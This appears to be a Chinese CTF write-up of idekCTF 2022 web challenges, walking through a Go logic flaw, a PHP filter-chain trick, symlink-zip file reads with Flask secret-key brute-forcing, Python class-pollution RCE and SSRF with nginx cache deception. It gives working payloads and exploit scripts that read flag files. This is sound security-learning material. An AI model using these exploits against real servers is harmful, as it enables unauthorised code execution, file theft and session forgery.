idekctf2022部分web

news/2025/3/31 22:01:10/

前言

我爱idekctf!!!!有dockerfile真是太棒了

因为实在不会前端,所以暂时只复现非xss的题目

题目附件我都放在了这儿

Web/Readme

0x00

一个代码审计题,用的go语言,平常接触的不多,看了很久的文档,所以做的有些慢

参考文章:

  • Go packages

0x01 题解

这里主要是要让从randomData里读取到的切片刚好等于password

这个password的值是固定的,而且原生randomData的值也是固定的

从一下代码可以知道,题目将password的值放进了randomData[12625:]切片

func initRandomData() { //初始化随机数rand.Seed(1337)randomData = make([]byte, 24576)if _, err := rand.Read(randomData); err != nil {panic(err)}copy(randomData[12625:], password[:])
}

然后后面的代码就是根据你输入的值,然后依次根据索引值在randomData读取数据,最后一次是读取32位,就刚好和password的长度一样

传入数据的格式为

{"orders":[1,2,3,xxx]}

数组要求元素个数不多于10个,且大小在大于0小于等于100

而且我们最终要得到的数据索引值在12625,这么小的数据再怎么加都不可能到12625

源码中有一个关键的代码,在GetValidatorCtxData()

func GetValidatorCtxData(ctx context.Context) (io.Reader, int) {reader := ctx.Value(reqValReaderKey).(io.Reader)size := ctx.Value(reqValSizeKey).(int)if size >= 100 {reader = bufio.NewReader(reader)}return reader, size
}

如果size>=100,就用bufio.NewReader()来新建Reader,并且其缓冲区大小默认为4096

这样就好办了,就变成了数学题

所以当我们传入100的时候,这里返回的reader里的buf的值就会变成4096

image-20230114165511864

最后传入这里

func (r *Reader) Read(b []byte) (n int, err error) {if r.i >= int64(len(r.s)) {return 0, io.EOF}r.prevRune = -1n = copy(b, r.s[r.i:])r.i += int64(n)return
}

这里的n被为copy(b, r.s[r.i:])成功复制的个数,又因为b的大小为4096,所以n会变成4096。

r.i最开始为0,然后会加上4096

所以每一次执行到这里的时候,如果我们最开始传入的值为100,那么这里就会加上4096

到这里就可以进行算术题了

虽然最后面存在一个

buf, err := v.Read(WithValidatorCtx(ctx, r, 32))

但是这个只是用来取32个值用的,所以没啥影响

(12625-32)mod4096=305

305=5*61

所以最后的payload

{"orders":[61,61,61,61,61,100,100,100,32]}

还可以是

{"orders":[60,60,60,60,60,100,100,100,37]}

自己算吧

Web/Paywall(复现)

0x00

使用php://filter来构造字符串

参考文章:

  • hxp CTF 2021 - The End Of LFI?
  • Solving “includer’s revenge” from hxp ctf 2021 without controlling any files
  • ctftime`s wp

工具:

  • php_filter_chain_generator

0x01 题解

源码:

<?phperror_reporting(0);
set_include_path('articles/');if (isset($_GET['p'])) {$article_content = file_get_contents($_GET['p'], 1);echo $article_content;if (strpos($article_content, 'PREMIUM') === 0) {die('Thank you for your interest in The idek Times, but this article is only for premium users!'); // TODO:}else if (strpos($article_content, 'FREE') === 0) {echo "<article>$article_content</article>";die();}else {die('nothing here');}
}?>

这里就是要让我们包含的文件以FREE开头才会打印出来,使用php://filter通过字符集的转变来构造字符串’FREE’

使用这个工具(github:php_filter_chain_generator)

FREE后面有两个空格

python3 php_filter_chain_generator.py --chain "FREE  "

得到

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.I
BM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode
|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.icon
v.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|
convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|
convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32L
E|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

发送payload:

http://paywall.chal.idek.team:1337/?p=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.I
BM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode
|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.icon
v.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|
convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|
convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32L
E|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=flag

得到

image-20230117211940137

Web/SimpleFileServe(复现)

0x00

题目环境是flask

要我们爆破得到secret_key,来伪造session

利用符号链接文件来获得特定文件

参考文章:

  • Alberto FDR`s write up

工具:

  • Flask-Unsign

0x01 源码分析

题目dockerfile

COPY src/ /app
WORKDIR /appRUN chmod 4755 flag
RUN chmod 600 flag.txtUSER nobodyCMD bash -c "mkdir /tmp/uploadraw /tmp/uploads && sqlite3 /tmp/database.db \"CREATE TABLE users(username text, password text, admin boolean)\" && /usr/local/bin/gunicorn --bind 0.0.0.0:1337 --config config.py --log-file /tmp/server.log wsgi:app"

这里是分别赋予了flag.txt 600的权限,只有root可以读写

将gunicorn的log文件设置为/tmp/server.log

使用config.py作为配置文件

config.py

import random
import os
import timeSECRET_OFFSET = 0 # REDACTED
random.seed(round((time.time() + SECRET_OFFSET) * 1000))
os.environ["SECRET_KEY"] = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")

这里告诉了我们secret_key是如何生成的

这里使用了random.seed()来设置随机数种子,只要参数一样,randint()获得的数值都是一样的,所以只要得到了题目当时的种子,就可以爆破出secret_key

而在random.seed里,是使用了time.time()作为参数的内容之一

time.time()返回当前时间的时间戳(1970纪元后经过的浮点秒数)

然后将最终的结果使用round()四舍五入取整

app.py

关键代码

    file = request.files["file"]uuidpath = str(uuid.uuid4())filename = f"{DATA_DIR}uploadraw/{uuidpath}.zip"file.save(filename)subprocess.call(["unzip", filename, "-d", f"{DATA_DIR}uploads/{uuidpath}"])    flash(f'Your unique ID is <a href="/uploads/{uuidpath}">{uuidpath}</a>!', "success")logger.info(f"User {session.get('uid')} uploaded file {uuidpath}")return redirect("/upload")

这里是在将文件上传后再进行解压到{DATA_DIR}uploads/{uuidpath}文件夹

这里解压的方式是使用unzip,而zip提供了压缩符号链接文件的方法 zip --symlinks a.zip a.link

0x02 题解

根据上面的分析

我们需要获得当时的时间戳以及SECRET_OFFSET的值

所以我们要去获取config.py和server.log(因为这个是日志文件,记录了服务开启的时间,而在服务开启的时候就是执行config.py代码的时候)

ln -s /tmp/server.log server
zip --symlinks server.zip server
ln -s /app/config.py config
zip --symlinks config.zip config

上传上去后访问对应的文件,可以将文件下载下来,获取文件的内容

先从config.py获得SECRET_OFFSET的值,为-67198624

然后从server.log获取时间戳

[2023-01-16 23:13:22 +0000] [8] [INFO] Starting gunicorn 20.1.0
[2023-01-16 23:13:22 +0000] [8] [INFO] Listening at: http://0.0.0.0:1337 (8)
[2023-01-16 23:13:22 +0000] [8] [INFO] Using worker: sync
.......................................................

在网上进行转换,要注意,有些网站会自动将这个时间识别为utf+8,但是题目上的utf+0的

得到时间戳1673910802

我是使用flask-unsign进行爆破,所以先写字典

import random
start=1673910790
end=1673910805
#timestamp=1673910802
SECRET_OFFSET = -67198624
f = open('key.txt', 'a+')
while start<end:# start=round(start,3)print(start)random.seed(round((start + SECRET_OFFSET) * 1000))print(round((start + SECRET_OFFSET) * 1000))secret_key = "".join([hex(random.randint(0, 15)) for x in range(32)]).replace("0x", "")# f.write(secret_key+'\n')start+=0.001

然后使用flask-unsign

┌──(kali㉿kali)-[~/Desktop/tools/flask-unsign]
└─$ flask-unsign  --unsign -w key.txt --cookie  'eyJhZG1pbiI6ZmFsc2UsInVpZCI6IjEyMzQifQ.Y8a8uQ.E77ORPZ53Oy4DNkqoJqtZYct4sc' -t 100
[*] Session decodes to: {'admin': False, 'uid': '1234'}
[*] Starting brute-forcer with 100 threads..
[+] Found secret key after 12800 attemptsd7e6630f3f7a
'074cce10940b886e3089f27a878577cd'

获得secret_key:074cce10940b886e3089f27a878577cd

再使用获得的secret_key伪造session

┌──(kali㉿kali)-[~/Desktop/tools/flask-unsign]
└─$ flask-unsign  --sign --secret '074cce10940b886e3089f27a878577cd' --cookie  "{'admin':True,'uid':'1234'}"    
eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTIzNCJ9.Y8bNxA.awZ8Y_QZeUjPzoB_3MHcflCUtVI

利用这个session去访问/flag获得flag

image-20230118003447267

Web/task manager(复现)

0x00

参考链接:

  • Y4爷
  • 老外的wp

利用类似python版本的原型链污染(即类污染),通过对属性的修改,来造成rce或任意文件读取

作者是借鉴了这个文章的内容:Prototype Pollution in Python。

利用pydash模块的pydash.set_对来设置或覆盖属性值,可以设置路径

import pydash
a={}
pydash.set_(a,'a.b.c',123)
print(a)
#{'a': {'b': {'c': 123}}}

而本题存在一个TaskManager类,里面定义了一个函数,会调用pydash.set_

def set(self, task, status):if task in self.protected:returnpydash.set_(self, task, status)return True

而且task参数和status都是可控的,就可以通过TaskManager实例来对其他属性值进行修改

通过TaskManager得到app对象

这个要自己调试,但是我本地调试的一直和别人的不一样 XD,所以就先不管了,先用Y4爷的路径

app:__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app

0x01 通过eval进行rce

@app.before_first_request
def init():if app.env == 'yolo':app.add_template_global(eval)

重复调用@app.before_first_request

before_first_request,注册一个函数,该函数将在第一次请求此应用程序实例之前运行,在这里就是运行init()

可以将app._got_first_request设置为False,来重复调用@app.before_first_request

这里可以看到,当app.env等于’yolo’时就会调用add_template_global(eval),将eval()函数注册为模板全局函数,这样就可以使用{{eval(xxxx)}}的方式来调用eval函数

payload:

{"task":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.env","status":"yolo"}
{"task":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app._got_first_request","status":False}

任意文件读取

因为flask在识别路径的时候会检测是否有..,在源码中就是os.path.pardir的值,如果存在这个值,就会报错

只要人为修改这个的值,就可以绕过检测,这个也要自己调试

payload:

{"task":"__class__.__init__.__globals__.__loader__.__init__.__globals__.sys.modules.os.pardir","status":"None"}

修改闭合字符串

在jinja里,默认识别模板的字符串的{{}}

block_start_string

标记块开始的字符串。默认为'{%'.

block_end_string

标记块结束的字符串。默认为'%}'.

variable_start_string

标记打印语句开始的字符串。默认为'{{'.

variable_end_string

标记打印语句结束的字符串。默认为 '}}'.

所以修改variable_start_string和variable_end_string的值,就可以让任意字符串作为模板识别的开始和结束

payload:

{"task":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string","status":xxxx"}
{"task":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string","status":xxxx"}

寻找可以利用的文件,并设置闭合字符串

因为我们最终是在模板文件里调用eval(),但是通过现有的文件无法实现,所以我们要找其他文件里面存在eval()代码的文件

出题人提供了答案,在/usr/local/lib/python3.8/turtle.py里存在

image-20230124211036873

所以只要把variable_start_string修改为\n value = ,variable_end_string修改为\n else:

这样,在通过前面的任意文件读取的时候,就会自动将eval(value)识别为模板代码,从而执行eval函数

而且value的值,可以设置globals.value,在模板渲染的时候,会自动调用globals的值,所以我们可以给globals添加一个键名为value的元素

image-20230124213445403

payload:

{"task":"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value","status":"__import__('os').popen('cat /flag*.txt').read()"}

exp

import reimport requests
baseurl="http://192.168.152.128:1337"
proxy={'http':'http://127.0.0.1:8080'}hijack_start = "\n            value = "
hijack_end = "\n        else:"
payload={"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.env":"yolo","__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app._got_first_request":None,"__init__.__globals__.__spec__.__loader__.__init__.__globals__.sys.modules.os.pardir":"v2i","__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_start_string":hijack_start,"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.jinja_env.variable_end_string":hijack_end,"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.jinja_env.globals.value":"__import__('os').popen('cat /flag*.txt').read()"}def overwrite(t,s):data={"task":t,"status":s}url=baseurl+"/api/manage_tasks"requests.post(url=url,json=data)def get_flag(): url = baseurl + "/../../usr/local/lib/python3.8/turtle.py"s = requests.Session()r = requests.Request(method='GET', url=url)prep = r.prepare()prep.url = urlr = s.send(prep)flag = re.findall('idek{.*}', r.text)[0]print(flag)
if __name__=='__main__':for t,s in payload.items():overwrite(t,s)get_flag()

get_flag下面的是用的Y4爷的,可以防止requests自动将/…/…/删除掉,也可以手动去发包,访问一次

image-20230124233350740

0x02 通过覆盖编译时需要的值进行rce

这个是一个老外的做法:https://github.com/Myldero/ctf-writeups/tree/master/idekCTF%202022/task%20manager

在生成模板的过程中,jinja2.compiler.CodeGenerator.visit_Template()里,如果我们覆盖了exported变量就可以控制模板的生成

def visit_Template(self, node: nodes.Template, frame: t.Optional[Frame] = None) -> None:assert frame is None, "no root frame allowed"eval_ctx = EvalContext(self.environment, self.name)from .runtime import exported, async_exportedif self.environment.is_async:exported_names = sorted(exported + async_exported)else:exported_names = sorted(exported)self.writeline("from jinja2.runtime import " + ", ".join(exported_names))

可以进行rce,将flag文件复制到一个知道文件名的文件里,然后使用任意文件读取去渲染那个文件,获得flag

payload:

{"task":"get.__globals__.pydash.helpers.inspect.sys.modules.jinja2.runtime.exported[0]","status": '*;import os;os.system("cp /flag* /tmp/flag") #'}

然后用模板去渲染/tmp/flag来得到flag

Web/Proxy Viewer(复现)

0x00

利用nginx和urllib.request.urlopen对url解析的差异性进行ssrf

参考连接

  • Y4爷
  • RFC 3986 5.2.4
  • downgrade师傅推荐的文章

0x01 源码分析

关键源码

@app.route('/proxy/<path:path>')
@limiter.limit("10/minute")
def proxy(path):remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addris_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0.1"try:page = urlopen(path, timeout=.5)except:return render_template('proxy.html', auth=is_authorized)if is_authorized:output = page.read().decode('latin-1')else:output = f"<pre>{page.headers.as_string()}</pre>"return render_template('proxy.html', auth=is_authorized, content=output)

这里可以知道,需要让X-Forwarded-For头为127.0.0.1才会输出urlopen去访问得到的内容

这里的X-Forwarded-For是无法伪造的

因为在nginx.conf里,对每个代理进行访问的时候都会在http请求头添加X-Forwarded-For

$proxy_add_x_forwarded_for变量包含客户端请求头中的"X-Forwarded-For",与$remote_addr用逗号分开,如果没有"X-Forwarded-For" 请求头,则$proxy_add_x_forwarded_for等于$remote_addr。$remote_addr变量的值是客户端的IP

因为是直接取$remote_addr的值,所以这个是无法伪造的

location / {proxy_set_header Host $http_host;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_pass http://localhost:3000;
}location ^~ /static/ {proxy_pass http://localhost:3000;proxy_set_header Host $http_host;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;proxy_cache my_zone;add_header X-Proxy-Cache $upstream_cache_status;
}

然后这里可以看到。当访问的url里带有/static/的话,就会使用缓存,这个缓存的意思就是假设对资源/aaaa.html进行访问了一次之后,nginx就会对此进行缓存,然后在第二次访问相同的资源时,nginx就直接返回缓存的内容给客户端而不会再去访问后端

还有就是urlopen()会对删除访问的url里#后的内容,如果urlopen的url为/etc/passwd#asd,实际访问的则是/etc/passwd

flask将会认为/…/…/…/static/s为path参数,而nginx则识别不出上下文,会对其进行normalize(规范化)处理,将/static当做url的开始

规范化处理,可以查看RFC 3986 5.2.4

在处理的时候会进行一下循环

A.如果输入缓冲区以“…/”或“./”的前缀开头,则从输入缓冲区中删除该前缀;

B.如果输入缓冲区以“/./”或“/.”的前缀开头,其中“.”是一个完整的路径段,然后在输入缓冲区中用“/”替换该前缀;否则,

C. 如果输入缓冲区以“/…/”或“/…”的前缀开头,其中“…”是一个完整的路径段,则在输入缓冲区中用“/”替换该前缀并从输出缓冲区删除最后一段及其前面的“/”(如果有的话);

D. 如果输入缓冲区仅包含“.”或“…”,然后从输入缓冲区中删除它

E. 将输入缓冲区中的第一个路径段移动到输出缓冲区的末尾,包括初始“/”字符(如果有)和任何后续字符,直到但不包括下一个“/”字或输入缓冲区的结尾。

0x02 题解

所以只要利用这两个之间的差异性,就可以进行ssrf

payload:

注意后面是/../../../

/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a

:进行url编码,防止浏览器识别为协议

#进行二次url编码,这样在第一次浏览器解码后,urlopen里面就会解码为#,从而不会处理后面的/../../static/a

根据上面的规范化处理(如果输入缓冲区以“/…/”或“/…”的前缀开头,其中“…”是一个完整的路径段,则在输入缓冲区中用“/”替换该前缀并从输出缓冲区删除最后一段及其前面的“/”(如果有的话);),因为后面有三个/../,所以会把前面的/proxy/file%3a///flag.txt%2523都删掉,从而只留下了/static/a

所以nginx将http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/a经过规范化处理后会得到http://127.0.0.1/static/a

这样就会读取flag.txt的内容,并被nginx保存在缓存中

而且再一次访问这个url的时候,就会读取读取这个缓存,然后得到flag

使用hackbar或者burpsuit可能会造成一些问题,导致不能成功,所以使用curl或者python进行打payload

$ curl --path-as-is http://localhost:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/asdf
$ curl --path-as-is http://localhost:1337/proxy/file:///flag.txt%23/../../../static/asdf | grep "idek{.*}"

0x03 downgrade大哥的wp和exp

idek里的老大哥:https://downgraded.github.io/

tl;dr: SSRF -> local file read -> cache deceptionnginx will cache anything if the path starts with /staticif we take http://proxy-viewer/proxy/test/../../static/a:flask will see test/../../static/a as the path parameter, but nginx does not know this context and will normalize the ../s such that it thinks the path starts with /staticurlopen will stop reading a filename at #, so something like /etc/passwd#asdf will read /etc/passwdso to put it together we first send this link:https://proxy-viewer-5366bdc77ddd5710.instancer.idek.team/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/athis will submit a request to read the flag from localhost, and store it in the cachethen, access the same SSRF'd url and read the cached response: https://proxy-viewer-5366bdc77ddd5710.instancer.idek.team/proxy/file:///flag.txt%23/../../../static/a

exp

import requests
import string, random
import re# generate random string for unique caching
cachebuster = "".join([random.choice(string.ascii_letters) for i in range(10)])# nginx url
base_url = "http://localhost:1337"s = requests.Session()proxies = {"https": "http://127.0.0.1:8080"}
#s.proxies.update(proxies)# store file in nginx cache
url = f"{base_url}/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/{cachebuster}"
req = requests.Request(method='GET', url=url)
prep = req.prepare()
prep.url = url
s.send(prep, verify=False)# view cached file
url = f"{base_url}/proxy/file:///flag.txt%23/../../../static/{cachebuster}"
req = requests.Request(method='GET', url=url)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False)flag = re.findall("idek{.*}", r.text)print(flag)

http://www.ppmy.cn/news/19822.html

相关文章

机器学习知识总结 —— 19.朴素贝叶斯网络

文章目录贝叶斯概率简述朴素贝叶斯训练过程预测过程简单的说贝叶斯概率简述 在我写过的关于统计学相关文章 《概率论基础 —— 2. 条件概率、全概率、贝叶斯概率公式》 提到过一个很重要的概率公式—— 贝叶斯公式。其基本形式如下&#xff1a; P(xi∣Y)P(xi)P(Y∣xi)P(Y)P(x_…

ISIS的3级别(level-1、level-2、level-1-2)4大类(IIH、LSP、CSNP、PSNP)9小类与邻接关系建立LSP交互过程介绍

2.2.0 ISIS 4种报文类型IIH、LSP、CSNP、PSNP、邻居建立过程、交互LSP过程 ISIS的3级别4大类9小类 ISIS拥有3种级别的路由器&#xff0c;分别是level-1、level-2、level-1-2。 不同级别之间进行交互的报文也是有所区别的&#xff0c;常规的ISIS报文分有4大类&#xff1a;IIH、…

年初五,迎财神 | 一张码如何实现多渠道(微信、支付宝、云闪付...)收款

大家好&#xff0c;我是小悟 今天是正月初五&#xff0c;天气超级好&#xff0c;也是迎财神的日子&#xff0c;祝大家顺风顺水&#xff0c;财源滚滚&#xff0c;钱兔似锦。 既然要发财&#xff0c;那自然少不了收款咯。如果你是一个商家&#xff0c;肯定是想收款的方式越方便越…

变量的了解

1、普通局部变量 -------------定义形式&#xff1a;在{}里面定义的 普通变量 叫做 普通局部变量 -------------作用范围&#xff1a;所在的 {} 复合语句之间有效 -------------生命周期&#xff1a;所在的 {} 复合语句之间有效 -------------存储区域&#xff1a;栈区 ---…

浅谈phar反序列化漏洞

目录 基础知识 前言 Phar基础 Phar文件结构 受影响的函数 漏洞实验 实验一 实验二 过滤绕过 补充 基础知识 前言 PHP反序列化常见的是使用unserilize()进行反序列化&#xff0c;除此之外还有其它的反序列化方法&#xff0c;不需要用到unserilize()。就是用到了本文…

HJ56、HJ58、JZ4、JZ6、JZ15、JZ17几道题

文章目录HJ56 完全数计算题目描述&#xff1a;具体实现&#xff1a;HJ58 输入n个整数&#xff0c;输出其中最小的k个题目描述&#xff1a;具体实现&#xff1a;JZ4 二维数组中的查找题目描述&#xff1a;具体实现&#xff1a;JZ6 从尾到头打印链表题目描述&#xff1a;具体实现…

【Java开发】Spring Cloud 08 :链路追踪

任何一个架构难免会出现bug&#xff0c;微服务相比于单体架构日志查询更为困难&#xff0c;因此spring cloud推出了Sleuth等组件的链路追踪技术来实现报错信息的定位及查询。项目源码&#xff1a;尹煜 / coupon-yinyu GitCode1 调用链追踪我们可以想象这样一个场景&#xff0c…

设计一个70W在线人数的弹幕系统

背景&#xff1a; 直播业务中增加弹幕系统&#xff0c;支持单房间百万用户同时在线。 问题分析&#xff1a; 带宽压力&#xff1a; 假如说每3秒促达用户一次&#xff0c;那么每次内容至少需要有15条才能做到视觉无卡顿。15条弹幕http包头的大小将超过3k&#xff0c;那么每秒…